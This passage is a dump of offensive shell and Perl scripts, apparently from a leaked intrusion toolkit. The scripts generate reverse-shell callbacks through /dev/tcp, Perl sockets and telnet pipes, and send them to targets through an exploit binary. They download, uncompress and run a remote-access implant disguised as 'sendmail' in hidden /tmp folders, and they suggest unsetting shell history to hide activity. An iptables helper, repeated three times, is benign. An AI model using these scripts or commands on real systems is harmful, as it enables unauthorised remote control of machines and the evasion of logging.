#CMD="/sbin/sh -c (perl -MIO -e 'if (\$k=fork){\$i=$BURNAT;while(\$i--){sleep 1};kill(9,\$k);exit}chdir(\"/tmp\");while(\$c=new IO::Socket::INET(LocalPort,$CALLBACK_PORT,Reuse,1,Listen)->accept){\$~->fdopen(\$c,w);STDIN->fdopen(\$c,r);STDERR->fdopen(\$c,w);$RUN_WHAT}')&"
CMD="/bin/sh -c (perl -MIO -e 'use IO::Socket::INET;if (\\\$k=fork){\\\$i=$BURNAT;while(\\\$i--){sleep 1};kill(9,\\\$k);exit}chdir(\"/tmp\");while(\\\$c=new IO::Socket::INET(LocalPort,$CALLBACK_PORT,Reuse,1,Listen)->accept){\\\$~->fdopen(\\\$c,w);STDIN->fdopen(\\\$c,r);STDERR->fdopen(\\\$c,w);$RUN_WHAT}')&"
CMD=" /bin/ksh -c '/bin/sh < /dev/tcp/$CALLBACK_IP/$CALLBACK_PORT >&0 2>&0'"
CMD="${PERLPATH}perl -e 'use IO::Socket;use IO::Handle;\\\$s=IO::Socket::INET->new(\"$CALLBACK_IP:$CALLBACK_PORT\");close(STDIN);close(STDOUT);IO::Handle->new_from_fd(\\\$s,\"r\");open(STDIN,\"<\\\$_\");IO::Handle->new_from_fd(\\\$s,\"w\");open(STDOUT,\">\\\$_\");$RUN_WHAT;'"
CMD2="`echo \"$CMD\" | sed 's,\\\,\\\\\\\\,g'`"
echo -e "Remote perl listener command will be: +$CMD+"
cat <<EOF
About to run this (but do NOT try pasting this...something wrong escapes-wise....):
bl_light ${TARGET_IP} "$CMD"
You can abort here with ^C, hit return to continue.
EOF
read blah
echo "now running it..."
./bl_light ${TARGET_IP} "$CMD"
echo "Sent. Thank you for playing"
cat <<EOF
These might come in handy:
unset HISTFILE
unset HISTFILESIZE
unset HISTSIZE
w
id
uname -a
ls -la /boot
mkdir /tmp/.scsi;cd /tmp/.scsi;pwd
which uudecode uncompress
# gedit sendmail
uudecode; ls -la
EOF

153
Linux/bin/bll.telnet.gr Executable file
View file

@ -0,0 +1,153 @@
#!/bin/sh
VER=1.0.0.1
##########################################################
### Generate & run a shell callback (via doublet telnet) on target.
##########################################################
# Some default values
CALLBACK_PORT_IN=`mkrandom -n 2>/dev/null`
CALLBACK_PORT_OUT=`mkrandom -n 2>/dev/null`
while [ 1 ] ; do
[ "$CALLBACK_PORT_IN" = "$CALLBACK_PORT_OUT" ] && CALLBACK_PORT_OUT=`mkrandom -n 2>/dev/null`
[ "$CALLBACK_PORT_IN" = "$CALLBACK_PORT_OUT" ] || break
done
[ "$CALLBACK_PORT_IN" ] || CALLBACK_PORT_IN=32177
[ "$CALLBACK_PORT_OUT" ] || CALLBACK_PORT_OUT=32178
PROGNAME=`basename $0`
usage() {
echo $PROGNAME v.$VER
[ "$1" = "v" ] && exit 1
cat <<EOF
$PROGNAME uses bl_light to start a callback on the remote target
using one or two ports (to a doublet). The remote command will be
shown, and if you do not abort, bl_light will try to send it to the
target. If it is executed, it will cause an interactive /bin/sh shell
to call back to the one or two ports. With the -t option, the remote
command will be with two telnets. With -k or -b, it tries via /dev/tcp
to a single local port. With -k, it tries via "ksh -c" (usually Solaris),
with -b it uses bash (usually the rest).
Prior to sending the exploit, you should run this locally in a
scripted window:
doublet CALLBACK_PORT_IN CALLBACK_PORT_OUT
Usage: ${0} [options]
-i <target ip> (required)
-l <callback ip> (required)
-p <callback port 1> (for stdin, first given to doublet, def. random)
-P <callback port 2> (for stdout, second given to doublet, def. random)
-b (use bash+/dev/tcp remotely, second port not used)
-k (use ksh+/dev/tcp remotely, second port not used)
-t (use two telnets, BOTH ports used)
EOF
[ "$*" ] && echo -e "\a\n\nERROR: $*\n"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
#
USE_KSH_TCP=""
USE_BASH_TCP=""
while getopts i:p:hvl:P:kbt op; do
case $op in
h|v) usage $op;;
i) TARGET_IP="$OPTARG";;
l) CALLBACK_IP="$OPTARG";;
p) CALLBACK_PORT_IN="$OPTARG";;
P) CALLBACK_PORT_OUT="$OPTARG";;
k) USE_KSH_TCP=yes;;
b) USE_BASH_TCP=yes;;
t) USE_TELNET="-t";;
esac
done
cmdFlag="-c"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$TARGET_IP" ] && echo "Error: missing remote IP -i argument" && usage
[ -z "$CALLBACK_PORT_IN" ] && echo "Error: missing remote port -p argument" && usage
[ -z "$CALLBACK_PORT_OUT" ] && echo "Error: missing remote port -P argument" && usage
echo "$USE_TELNET$USE_KSH_TCP$USE_BASH_TCP" | grep -q "yesyes" && usage "Cannot use more than one of -t, -k, -b"
[ "$USE_TELNET" ] || CALLBACK_PORT_OUT=""
if [ "${TARGET_IP:0:3}" = "127" ] ; then
echo -e "For your NOPEN tunnel window:\n"
echo -e "r $CALLBACK_PORT_IN"
[ "$USE_TELNET" ] && echo -e "r $CALLBACK_PORT_OUT"
fi
echo -e "\n\nFor the shell callback (doublet requires a scripted window)"
echo -e "\n doublet $USE_TELNET $CALLBACK_PORT_IN $CALLBACK_PORT_OUT\n"
# Listener respawns for ten minutes
RUN_WHAT="exec \\\"/bin/sh\\\""
if [ "$USE_TELNET" ] ; then
CMD="sleep 300 | (telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 ; sleep 1) | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1"
CMD="\\(telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 ; sleep 1\\) | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1"
CMD="TERM=vt100;export TERM;telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1"
# These below work:
CMD="sh -c \"sleep 300 | (telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 ; sleep 1) | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1\""
CMD="sh -c \"telnet $CALLBACK_IP $CALLBACK_PORT_IN 2>&1 < /dev/console | /bin/sh 2>&1 | telnet $CALLBACK_IP $CALLBACK_PORT_OUT 2>&1\""
fi
if [ "$USE_KSH_TCP" ] ; then
CMD="/bin/ksh -c \"/bin/sh < /dev/tcp/$CALLBACK_IP/$CALLBACK_PORT_IN >&0 2>&0\""
fi
if [ "$USE_BASH_TCP" ] ; then
CMD="/bin/bash < /dev/tcp/$CALLBACK_IP/$CALLBACK_PORT_IN >&0 2>&0"
fi
echo -e "Remote callback command will be: +$CMD+"
cat <<EOF
About to run this (but do NOT try pasting this...something wrong escapes-wise....):
bl_light ${TARGET_IP} "$CMD"
You can abort here with ^C, hit return to continue.
EOF
read blah
echo "now running it..."
./bl_light ${TARGET_IP} "$CMD"
echo "Sent. Thank you for playing"
cat <<EOF
These might come in handy:
unset HISTFILE
unset HISTFILESIZE
unset HISTSIZE
w
id
uname -a
ls -la /boot
mkdir /tmp/.scsi;cd /tmp/.scsi;pwd
which uudecode uncompress
# gedit sendmail
uudecode; ls -la
EOF

78
Linux/bin/bll.tnc.gr Executable file
View file

@ -0,0 +1,78 @@
#!/bin/sh
##########################################################
### Generate & run the following scripts:
### - script to upload grinch on target (gr_upload.scr)
### - script to upload gr_upload.scr (initial_upload.scr)
### - run grins/frowns/whatever using the above scripts
##########################################################
# Some default values
SCRIPT="/tmp/.t"
DIR="/tmp/.X11R6"
CALLBACK_PORT=32177
usage() {
echo ""
echo "Before running this script, you first need to run the following:"
echo " nc -l -p localPort < file2Xfer&Run.uu"
echo " (nc must be in your path; it's also run w/in this script)"
echo "where file2Xfer&Run.uu is a compressed, uuencoded file."
echo ""
echo ""
echo "Usage: ${0} [options] -- [options to <file2Xfer&Run>]"
echo " -i <target ip> (required)"
echo " -l <callback ip> (required)"
echo " -p <callback port> def = $CALLBACK_PORT"
echo " -f <file2Xfer&Run> (required)"
echo " -D <remoteDir> def= $DIR"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
#
while getopts p:g:i:l:n:u:f:D: op; do
case $op in
i) TARGET_IP="$OPTARG";;
p) CALLBACK_PORT="$OPTARG";;
l) LOCAL_IP="$OPTARG";;
n) PASS="$OPTARG";;
u) USER="$OPTARG";;
f) RUN_FILE="$OPTARG";;
D) DIR="$OPTARG";;
esac
done
cmdFlag="-c"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$TARGET_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing callback IP" && usage
[ -z "$RUN_FILE" ] && echo "Error: missing file2Xfer&Run: i.e. nscd or sendmail" && usage
echo "Generating initial upload script."
# Ditching the initial script stuff because bl_light reads the string from the command line....
# Note if you are doing shell stuff, make sure you do the sh -c string.....
#cat > initial_upload.scr << EOF
#/bin/sh -c "mkdir ${DIR} 2>/dev/null; cd ${DIR} && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>/dev/null </dev/console > ${RUN_FILE}.uu; uudecode ${RUN_FILE}.uu && uncompress -f ${RUN_FILE}.Z && chmod 0700 ${DIR}/${RUN_FILE} && PATH=${DIR} ${RUN_FILE}"
#EOF
echo "now running: "
#echo "boss_lad -t ${TARGET_IP} -c ./initial_upload.scr "
echo "bl_light ${TARGET_IP} '/bin/sh -c \"mkdir ${DIR} 2>/dev/null; cd ${DIR} && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>/dev/null </dev/console > ${RUN_FILE}.uu; uudecode ${RUN_FILE}.uu && uncompress -f ${RUN_FILE}.Z && chmod 0700 ${DIR}/${RUN_FILE} && PATH=${DIR} ${RUN_FILE}\"'"
#./boss_lad -t ${TARGET_IP} -c ./initial_upload.scr
./bl_light ${TARGET_IP} "/bin/sh -c \"mkdir ${DIR} 2>/dev/null; cd ${DIR} && telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>/dev/null </dev/console > ${RUN_FILE}.uu; uudecode ${RUN_FILE}.uu && uncompress -f ${RUN_FILE}.Z && chmod 0700 ${DIR}/${RUN_FILE} && PATH=${DIR} ${RUN_FILE}\""
echo "Thank you for playing"

132
Linux/bin/blockme Executable file
View file

@ -0,0 +1,132 @@
#!/usr/bin/env perl
# Blockme inserts iptables rules to prevent traffic to unintended hosts
# Also can remove rules and list them
use Getopt::Std;
$VER = "1.0.0.3";
$prog = `basename $0`;
chomp $prog;
$iptablesListCommand = "iptables -L OUTPUT --line-numbers -n";
# Get command line options
die("Invalid command line option") unless getopts("hvlr:a:");
# Helpful information if necessary or if invalid inputs
usage() if $opt_h;
version() if $opt_v;
usage() if (defined($opt_l) and (defined($opt_r) or defined($opt_a)));
usage() if (defined($opt_r) and (defined($opt_l) or defined($opt_a)));
usage() if (defined($opt_a) and (defined($opt_r) or defined($opt_l)));
unless (defined($opt_a) or defined($opt_r) or defined($opt_l)) {
usage() if ("@ARGV" =~ /[^\.\d\/]/);
usage() if ("@ARGV" =~ m,/.*/,);
$opt_a = "@ARGV";
}
# Do what user asked to do
$rulenumber = $opt_r;
$netblock = $opt_a;
die ("No iptables in PATH") unless `which iptables 2>/dev/null`;
die("You must be root.\n") if ($>);
listrules() if defined($opt_l);
removerule() if defined($opt_r);
addrule() if defined($opt_a);
### END MAIN PROGRAM ###
# Usage statement function
sub usage()
{
select STDERR;
print "\n$prog [options] [IPADDR/MASK]\n";
print "\n";
print "Options:\n";
print " -h/-v Usage/version information\n";
print " -l List current blocked output rules\n";
print " -r RULENUM Remove RULENUM from iptables OUTPUT rules\n";
print " -a IPADDR/MASK add DROP of address/network to iptables OUTPUT rules\n";
print " (-a is assumed if just an IP/MASK is given)\n";
print " (ONLY specify mask as 1-32, no 255.255.255.0-style)\n";
print " (if not present, MASK defaults to 24 - Class C)\n\n";
print "NOTE: This tool is NOT meant to do any fine-grained manipulation of\n";
print " iptables rules. It is meant to be all or nothing to prevent\n";
print " accidental comms. \"man iptables\" if more specific rules needed\n\n";
version();
}
# Version information function
sub version()
{
print "$prog version $VER\n";
exit 1;
}
# List the rules in the output chain
sub listrules()
{
system("$iptablesListCommand") and
die("Unable to run \"$iptablesListCommand: $!\n");
}
# Remove a rule number from the output chain
sub removerule()
{
# Confirm this is the rule user wants to delete
die ("No rule number specified") if (length($rulenumber) <= 0);
$validrule = `$iptablesListCommand 2>/dev/null | egrep -vi "^(chain|num)" | grep "^$rulenumber "`;
chomp $validrule;
die("Invalid rule number specified: $rulenumber") unless (length($validrule) > 0);
print "The rule you would like to delete is:\n\n";
print "$validrule\n";
print "Is this correct? (Y/N): ";
$response = <STDIN>;
chomp $response;
die("Rule removal aborted") unless ($response =~ /^[yY]/);
# If here, got confirmation, delete the rule
system("iptables -D OUTPUT $rulenumber") and
die("Unable to run \"iptables -D OUTPUT $rulenumber\"\n");
print "Rule $rulenumber removed successfully\n";
print "\nNOTE: rule numbers change as rules are added/deleted\n"
}
sub addrule()
{
### Confirm that this is valid input
# Make sure a valid IP address
($address, $mask) = split(/\//, $netblock);
die("Invalid IP address given") unless ($address =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/);
@octets = split(/\./, $address);
foreach $octet (@octets)
{
die("Invalid IP address given") if ($octet > 255);
}
# Make sure a valid mask
if (length($mask))
{
die("Invalid mask given") unless ($mask =~ /^(\d{1,2})$/);
die("Invalid mask given") if ($mask > 32);
}
else
{
$mask = "24";
}
if ($address =~ /^(127|0+)./) {
die("Refusing to block all traffic to $1.*");
}
# Inputs are valid, add the rule
system("iptables -I OUTPUT 1 -j DROP --destination $address/$mask") and
die("Unable to run \"iptables -I OUTPUT 1 -j DROP --destination $address/$mask\"\n");
# Now display the rules
print "Rule added, displaying current rules:\n\n";
system("$iptablesListCommand") and
die("Unable to run \"$iptablesListCommand: $!\n");
print "\nNOTE: rule numbers change as rules are added/deleted\n"
}

129
Linux/bin/blockme.old Executable file
View file

@ -0,0 +1,129 @@
#!/usr/bin/env perl
# Blockme inserts iptables rules to prevent traffic to unintended hosts
# Also can remove rules and list them
use Getopt::Std;
$VER = "1.0.0.2";
$prog = `basename $0`;
chomp $prog;
$iptablesListCommand = "iptables -L OUTPUT --line-numbers -n";
# Get command line options
die("Invalid command line option") unless getopts("hvlr:a:");
# Helpful information if necessary or if invalid inputs
usage() if $opt_h;
version() if $opt_v;
usage() if (defined($opt_l) and (defined($opt_r) or defined($opt_a)));
usage() if (defined($opt_r) and (defined($opt_l) or defined($opt_a)));
usage() if (defined($opt_a) and (defined($opt_r) or defined($opt_l)));
unless (defined($opt_a) or defined($opt_r) or defined($opt_l)) {
usage() if ("@ARGV" =~ /[^\.\d\/]/);
usage() if ("@ARGV" =~ m,/.*/,);
$opt_a = "@ARGV";
}
# Do what user asked to do
$rulenumber = $opt_r;
$netblock = $opt_a;
die ("No iptables in PATH") unless `which iptables 2>/dev/null`;
die("You must be root.\n") if ($>);
listrules() if defined($opt_l);
removerule() if defined($opt_r);
addrule() if defined($opt_a);
### END MAIN PROGRAM ###
# Usage statement function
sub usage()
{
select STDERR;
print "\n$prog [options] [IPADDR/MASK]\n";
print "\n";
print "Options:\n";
print " -h/-v Usage/version information\n";
print " -l List current blocked output rules\n";
print " -r RULENUM Remove RULENUM from iptables OUTPUT rules\n";
print " -a IPADDR/MASK add DROP of address/network to iptables OUTPUT rules\n";
print " (-a is assumed if just an IP/MASK is given)\n";
print " (ONLY specify mask as 1-32, no 255.255.255.0-style)\n";
print " (if not present, MASK defaults to 24 - Class C)\n\n";
print "NOTE: This tool is NOT meant to do any fine-grained manipulation of\n";
print " iptables rules. It is meant to be all or nothing to prevent\n";
print " accidental comms. \"man iptables\" if more specific rules needed\n\n";
version();
}
# Version information function
sub version()
{
print "$prog version $VER\n";
exit 1;
}
# List the rules in the output chain
sub listrules()
{
system("$iptablesListCommand") and
die("Unable to run \"$iptablesListCommand: $!\n");
}
# Remove a rule number from the output chain
sub removerule()
{
# Confirm this is the rule user wants to delete
die ("No rule number specified") if (length($rulenumber) <= 0);
$validrule = `$iptablesListCommand 2>/dev/null | egrep -vi "^(chain|num)" | grep "^$rulenumber "`;
chomp $validrule;
die("Invalid rule number specified: $rulenumber") unless (length($validrule) > 0);
print "The rule you would like to delete is:\n\n";
print "$validrule\n";
print "Is this correct? (Y/N): ";
$response = <STDIN>;
chomp $response;
die("Rule removal aborted") unless ($response =~ /^[yY]/);
# If here, got confirmation, delete the rule
system("iptables -D OUTPUT $rulenumber") and
die("Unable to run \"iptables -D OUTPUT $rulenumber\"\n");
print "Rule $rulenumber removed successfully\n";
print "\nNOTE: rule numbers change as rules are added/deleted\n"
}
sub addrule()
{
### Confirm that this is valid input
# Make sure a valid IP address
($address, $mask) = split(/\//, $netblock);
die("Invalid IP address given") unless ($address =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/);
@octets = split(/\./, $address);
foreach $octet (@octets)
{
die("Invalid IP address given") if ($octet > 255);
}
# Make sure a valid mask
if (length($mask))
{
die("Invalid mask given") unless ($mask =~ /^(\d{1,2})$/);
die("Invalid mask given") if ($mask > 32);
}
else
{
$mask = "24";
}
# Inputs are valid, add the rule
system("iptables -I OUTPUT 1 -j DROP --destination $address/$mask") and
die("Unable to run \"iptables -I OUTPUT 1 -j DROP --destination $address/$mask\"\n");
# Now display the rules
print "Rule added, displaying current rules:\n\n";
system("$iptablesListCommand") and
die("Unable to run \"$iptablesListCommand: $!\n");
print "\nNOTE: rule numbers change as rules are added/deleted\n"
}

129
Linux/bin/blockme.old1 Executable file
View file

@ -0,0 +1,129 @@
#!/usr/bin/env perl
# Blockme inserts iptables rules to prevent traffic to unintended hosts
# Also can remove rules and list them
use Getopt::Std;
$VER = "1.0.0.2";
$prog = `basename $0`;
chomp $prog;
$iptablesListCommand = "iptables -L OUTPUT --line-numbers -n";
# Get command line options
die("Invalid command line option") unless getopts("hvlr:a:");
# Helpful information if necessary or if invalid inputs
usage() if $opt_h;
version() if $opt_v;
usage() if (defined($opt_l) and (defined($opt_r) or defined($opt_a)));
usage() if (defined($opt_r) and (defined($opt_l) or defined($opt_a)));
usage() if (defined($opt_a) and (defined($opt_r) or defined($opt_l)));
unless (defined($opt_a) or defined($opt_r) or defined($opt_l)) {
usage() if ("@ARGV" =~ /[^\.\d\/]/);
usage() if ("@ARGV" =~ m,/.*/,);
$opt_a = "@ARGV";
}
# Do what user asked to do
$rulenumber = $opt_r;
$netblock = $opt_a;
die ("No iptables in PATH") unless `which iptables 2>/dev/null`;
die("You must be root.\n") if ($>);
listrules() if defined($opt_l);
removerule() if defined($opt_r);
addrule() if defined($opt_a);
### END MAIN PROGRAM ###
# Usage statement function
sub usage()
{
select STDERR;
print "\n$prog [options] [IPADDR/MASK]\n";
print "\n";
print "Options:\n";
print " -h/-v Usage/version information\n";
print " -l List current blocked output rules\n";
print " -r RULENUM Remove RULENUM from iptables OUTPUT rules\n";
print " -a IPADDR/MASK add DROP of address/network to iptables OUTPUT rules\n";
print " (-a is assumed if just an IP/MASK is given)\n";
print " (ONLY specify mask as 1-32, no 255.255.255.0-style)\n";
print " (if not present, MASK defaults to 24 - Class C)\n\n";
print "NOTE: This tool is NOT meant to do any fine-grained manipulation of\n";
print " iptables rules. It is meant to be all or nothing to prevent\n";
print " accidental comms. \"man iptables\" if more specific rules needed\n\n";
version();
}
# Version information function
sub version()
{
print "$prog version $VER\n";
exit 1;
}
# List the rules in the output chain
sub listrules()
{
system("$iptablesListCommand") and
die("Unable to run \"$iptablesListCommand: $!\n");
}
# Remove a rule number from the output chain
sub removerule()
{
# Confirm this is the rule user wants to delete
die ("No rule number specified") if (length($rulenumber) <= 0);
$validrule = `$iptablesListCommand 2>/dev/null | egrep -vi "^(chain|num)" | grep "^$rulenumber "`;
chomp $validrule;
die("Invalid rule number specified: $rulenumber") unless (length($validrule) > 0);
print "The rule you would like to delete is:\n\n";
print "$validrule\n";
print "Is this correct? (Y/N): ";
$response = <STDIN>;
chomp $response;
die("Rule removal aborted") unless ($response =~ /^[yY]/);
# If here, got confirmation, delete the rule
system("iptables -D OUTPUT $rulenumber") and
die("Unable to run \"iptables -D OUTPUT $rulenumber\"\n");
print "Rule $rulenumber removed successfully\n";
print "\nNOTE: rule numbers change as rules are added/deleted\n"
}
sub addrule()
{
### Confirm that this is valid input
# Make sure a valid IP address
($address, $mask) = split(/\//, $netblock);
die("Invalid IP address given") unless ($address =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/);
@octets = split(/\./, $address);
foreach $octet (@octets)
{
die("Invalid IP address given") if ($octet > 255);
}
# Make sure a valid mask
if (length($mask))
{
die("Invalid mask given") unless ($mask =~ /^(\d{1,2})$/);
die("Invalid mask given") if ($mask > 32);
}
else
{
$mask = "24";
}
# Inputs are valid, add the rule
system("iptables -I OUTPUT 1 -j DROP --destination $address/$mask") and
die("Unable to run \"iptables -I OUTPUT 1 -j DROP --destination $address/$mask\"\n");
# Now display the rules
print "Rule added, displaying current rules:\n\n";
system("$iptablesListCommand") and
die("Unable to run \"$iptablesListCommand: $!\n");
print "\nNOTE: rule numbers change as rules are added/deleted\n"
}

BIN
Linux/bin/bs Executable file

Binary file not shown.

661
Linux/bin/bs.auto Executable file
View file

@ -0,0 +1,661 @@
#!/bin/sh
# Defaults
PROG=`basename ${0}`
VER="2.10.1.4"
ERRSLEEP=0
[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport 2>/dev/null`
[ "$TUNNELPORT" ] || TUNNELPORT=18787
COLOR_SUCCESS="\\033[1;32m"
COLOR_FAILURE="\\033[1;31m"
COLOR_WARNING="\\033[1;33m"
COLOR_NORMAL="\\033[0;39m"
COLOR_NOTE="\\033[0;34m"
COLOR_WHITE="\\033[4;97m"
SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS"
SETCOLOR_FAILURE="echo -en $COLOR_FAILURE"
SETCOLOR_WARNING="echo -en $COLOR_WARNING"
SETCOLOR_NORMAL="echo -en $COLOR_NORMAL"
SETCOLOR_NOTE="echo -en $COLOR_NOTE"
SETCOLOR_WHITE="echo -en $COLOR_WHITE"
# usagetext here so this can be used globally
DEFCALLBACKDELAY=15
SYNTAX=" [E=ratpreargs] [A=ratpostargs] \\
$PROG [options] remoteHost [remoteDomain]
"
usagetextshort="
Usage:
$SYNTAX
$PROG uploads and runs NOPEN via ./bs.
REQUIRED OPTIONS - Usual upload/execute mode
-i IP Target IP (or 127.0.0.1 if redirecting)
-u # Target's udp sadmind (prog 100232) port
TROUBLESHOOT OPTION
-R Run specific commands on target, not the usual (you are
prompted for the command string to send). OTHER OPTIONS below
are ignored when using -R.
OTHER OPTIONS - [default in brackets if any]
-n # Local tcp port for netcat upload [random]
-l IP Local IP for netcat upload [the first active IP in this order:
ppp0, ppp1, eth0 or eth1]
-r name Name to call uploaded file on target [sendmail]
-D dir Working directory to create/use on target [/tmp/.scsi]
-p # NOPEN port for either listen or callback mode [random]
-c Use NOPEN in callback mode to local IP (also see -S)
-C IP Use NOPEN in callback mode to this IP instead of local IP
-s # Change delay used for -c|C to # seconds [$DEFCALLBACKDELAY]
-t Use the OLDCMD/telnet/uudecode method instead of the default
CMD/ksh.$COLOR_FAILURE NOTE: This DOES require uudecode.$COLOR_NORMAL
-T Do NOT use tr at all (can be used with or without -t)
-z Do NOT use uncomrpess at the far end (so you should not use
compress here)
-P Assume PATH=. will fail so use ./ratname
-S name Script file to write and remove when using -t (OLDCMD) method
-G Retry exploit--using already uploaded RAT (useful when you need
to try adding -P option or try another RAT callback port).
"
usagetext="$usagetextshort
In the usual upload/execute mode, unless the -T option is used, $PROG
uses the remote system's tr program (see \"man tr\") to unmunge the
string sent via bs into the commands we want him to execute. See dtail
below. $PROG will build and show the munged and unmunged strings,
prompting to abort or continue before any packets are sent.
NOTE: The environment variables E and A are still usable as:
E=ratpreargs A=ratpostargs
BUT, they are no longer necessary for NOPEN ports and callbacks.
ratpreargs : a string put on remote command line right after
PATH=. and before remoteName (NOTE: If using -l/c
options above this is no longer necessary.)
ratpostargs : a string put on remote command line after running
remoteName (e.g., \" ; rm sendmail\")
Command sent to bs will be munged (unless -T is used) from one of:
OLDCMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"
CMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};/bin/ksh -c \"cat < /dev/tcp/\${LOCAL_IP}/\${LOCAL_PORT} > \${REMOTE_FNAME}.Z && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"\"
OR if -T is used, one of these will be used but will not be munged.
$PROG Version $VER
"
note() {
unset N
if [ "$1" = "-n" ] ; then
N=$1
shift
fi
echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL"
}
notered() {
unset N
if [ "$1" = "-n" ] ; then
N=$1
shift
fi
echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL"
}
tunnelcmd() {
echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT
}
usage() {
[ "$1" = "exit" ] && EXIT=1 && shift
if [ "$1" = "-h" ] ; then
shift
[ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!"
echo -e "$usagetext"
fi
if [ "$1" = "-v" ] ; then
echo "$PROG version $VER"
shift
fi
ERRSTR="${*}"
if [ "$ERRSTR" ] ; then
notered "\a${ERRSTR}"
fi
[ "$EXIT" ] && exit
} # end usage
doit() {
RETRYONLY=0
CMDLINE="\nCommandLine: ${0} ${*}"
CALLBACKDELAY=$DEFCALLBACKDELAY
# lab testing?
ifconfig 2>&1 | grep "555.1\.2\." > /dev/null && CALLBACKDELAY=4
unset NOPENPORT CALLBACKIP CALLBACK OLDCMD NO_TR NOZIP PACKARGS DOTSLASH CMDOVERRIDE SCRIPT
unset UNCOMPRESS REDIRECT UUARG REMOTE_DOMAIN PACKRAT_SCRIPME
while getopts p:cl:ths:zPvRu:s:Ti:n:r:D:P:a:S:C:RG op; do
case $op in
h) usage exit -h ;;
v) usage exit -v ;;
i) REMOTE_IP="${OPTARG}";;
n) LOCAL_PORT="$OPTARG" ;;
l) LOCAL_IP="$OPTARG";;
r) REMOTE_FNAME="$OPTARG" ;;
D) REMOTE_DIR="$OPTARG" ;;
p) NOPENPORT="$OPTARG";;
a) [ "$ARCH" ] || ARCH="$OPTARG";;
u) SADMIND_PORT="$OPTARG"
SADMIND_ARG="-p $OPTARG" ;;
E) RAT_PREARGS=" $OPTARG";;
A) RAT_POSTARGS=" $OPTARG";;
C) CALLBACKIP="$OPTARG";;
c) CALLBACK=" callback";;
t) OLDCMD="yes";;
T) NO_TR="yes";;
s) CALLBACKDELAY="$OPTARG";;
z) NOZIP=yes
PACKARGS=" -z" ;;
P) DOTSLASH="./";;
R) CMDOVERRIDE=yes ;;
S) SCRIPT="$OPTARG" ;;
G) RETRYONLY=1 ;;
esac
done
unset NOSERVER
if [ "$ARCH" ] ; then
NOSERVER=`ls -1 /current/up/morerats/noserver*solaris-2.6 2>/dev/null | grep -i ${ARCH} | tail -1`
fi
[ "$NOSERVER" ] || NOSERVER=/current/up/noserver
shift `expr $OPTIND - 1`
[ "$#" -eq 0 -a ! "$REMOTE_IP" ] && usage exit -h
[ "$1" ] && REMOTE_HOST="-h ${1}"
[ "$2" ] && REMOTE_DOMAIN="-d ${2}"
# fixed defaults here (random ports and such elsewhere)
[ "$SCRIPT" ] || SCRIPT="...."
[ "$REMOTE_FNAME" ] || REMOTE_FNAME=sendmail
[ "$REMOTE_DIR" ] || REMOTE_DIR=/tmp/.scsi
if [ ! "$CMDOVERRIDE" ] ; then
if [ ! "$NOPENPORT" ] ; then
NOPENPORT=`mkrandom -n 2>/dev/null`
fi
if [ ! "$NOPENPORT" ] ; then
usage "mkrandom not in path--needed to generate random port for NOPEN\n(use -p # to force a particular port)"
return
fi
fi
[ "$E" ] && RAT_PREARGS=" $RAT_PREARGS $E" && echo "RAT_PREARGS=\"$RAT_PREARGS\""
[ "$A" ] && RAT_POSTARGS=" $RAT_POSTARGS $A" && echo "RAT_POSTARGS=\"$RAT_POSTARGS\""
echo ""
[ "$HOSTERR" ] && REMOTE_HOST="-h ${HOSTERR}"
# show what we were called with
echo -e "$CMDLINE"
# Check to make sure tcp LISTEN is there
PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"`
if [ "$NOPENPORT" ] ; then
note "Using random NOPEN$CALLBACK port $NOPENPORT"
fi
note Local ports LISTENing: $PORTS
echo
which packrat >/dev/null 2>&1
NOPACKRAT=$?
[ "$NOPACKRAT" = "0" ] || usage exit "No packrat in your path"
if [ ! "$CMDOVERRIDE" -a $RETRYONLY == 0 ] ; then
if [ "$TARGETIP" ] ; then
# autoattack mode so yes we want packrat
PACKRAT_SCRIPME=yes
else
if [ "$LOCAL_PORT" ] ; then
for i in $PORTS -1 ; do
[ "$i" = "$LOCAL_PORT" ] && break
done
if [ $i -lt 0 ] ; then
PACKRAT_SCRIPME=yes
else
notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload."
sleep 2
fi
else
while [ 1 ] ; do
